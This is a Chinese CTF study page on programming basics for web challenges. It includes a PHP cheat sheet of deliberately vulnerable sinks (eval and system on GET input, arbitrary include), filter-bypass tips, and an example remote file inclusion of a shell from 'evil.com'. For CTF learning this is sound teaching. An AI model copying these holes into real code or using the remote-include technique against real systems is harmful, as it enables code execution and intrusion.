程序语言 — CTF 前置技能

CTF Web 题大多用 PHP 作为后端语言,部分题用 Python/Node.js。了解基本的程序语言语法,才能读得懂题目源码、写得出利用脚本。

本知识库中的编程语言讲解

CTF 中程序语言相关考点

语言CTF 中的角色常见题型
PHPWeb 后端主力,绝大多数 CTF Web 题用 PHP文件包含、代码审计、反序列化
Python编写 exploit 脚本、自动化发 payload所有题型的脚本工具、SSTI(模板注入)
Python后端框架(Flask/Django)特有漏洞SSTI、debug 模式信息泄露
Node.js (JavaScript)后端 JS 环境原型链污染、RCE
Java逆向、Web 安全反序列化、SSRF

PHP 基础速查

<?php
// 变量与输出
$name = $_GET['name']; // GET 参数
$pass = $_POST['pass']; // POST 参数
$cookie = $_COOKIE['key']; // Cookie 值
echo "Hello $name"; // 输出
 
// 常见过滤与绕过
str_replace("flag", "", $input); // 替换过滤 → 双写绕过 flagflagflag
preg_match("/flag/i", $input); // 正则过滤 → 大小写/编码绕过
 
// 代码执行
eval($_GET['cmd']); // 直接执行 PHP 代码
system($_GET['cmd']); // 执行系统命令
 
// 文件包含
include($_GET['file']); // 包含任意文件 → LFI
include("http://evil.com/shell"); // 远程包含 → RFI
?>

Python 脚本快速模板

import requests
 
# GET 请求
r = requests.get('http://target.com/', params={'id': '1'})
 
# POST 请求
r = requests.post('http://target.com/login', data={'user': 'admin', 'pass': '123'})
 
# 带 Cookie
r = requests.get('http://target.com/flag', cookies={'admin': '1'})
 
# 带自定义头
r = requests.get('http://target.com/', headers={'User-Agent': 'admin'})
 
print(r.status_code) # 状态码
print(r.text) # 响应体
print(r.headers) # 响应头

关联教程

此文件夹下有0条笔记。